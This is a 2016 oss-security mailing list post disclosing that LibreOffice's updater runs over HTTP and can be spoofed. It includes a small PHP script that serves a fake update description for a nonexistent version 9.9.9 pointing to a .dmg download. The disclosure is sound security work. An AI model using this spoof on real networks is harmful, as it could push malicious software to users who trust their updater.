Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [day] [month] [year] [list]
Date: Tue, 9 Feb 2016 02:56:28 +0000
From: Sevan Janiyan <venture37@...klan.co.uk>
To: oss-security@...ts.openwall.com
Subject: Libreoffice updater runs over http

Hi,
Looking into the validity of an issue which was reported[1] a couple of
years back, it seems that it's still possible to spoof the availability
of an update for LibreOffice.

Unfortunately, I've not been able to get the download to happen as I
need to look into what happens when the application requests PROPFIND
/check.php?pkgfmt=dmg HTTP/1.1
At this point the download is marked as stalled whilst attempting to
download LibreOffice 9.9.9 I'd announced.

Though the original report used Windows, I repeated on OS X trying to
see if libreoffice could just download a mp4 video, later changed to a dmg.
Using the following check.php
<?php
echo '<?xml version="1.0" encoding="utf-8"?>
<inst:description xmlns:inst="http://update.libreoffice.org/description">
<inst:id>LibreOffice 9.9.9</inst:id>
<inst:gitid>123456789</inst:gitid>
<inst:os>MacOSX</inst:os>
<inst:arch>x86</inst:arch>
<inst:version>9.9.9</inst:version>
<inst:buildid>9999</inst:buildid>
<inst:update type="application/octet-stream"
src="http://update.libreoffice.org/update.dmg"/>
</inst:description>';
?>

Is this of concern at this stage?


Sevan
[1] http://www.waraxe.us/advisory-99.html

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.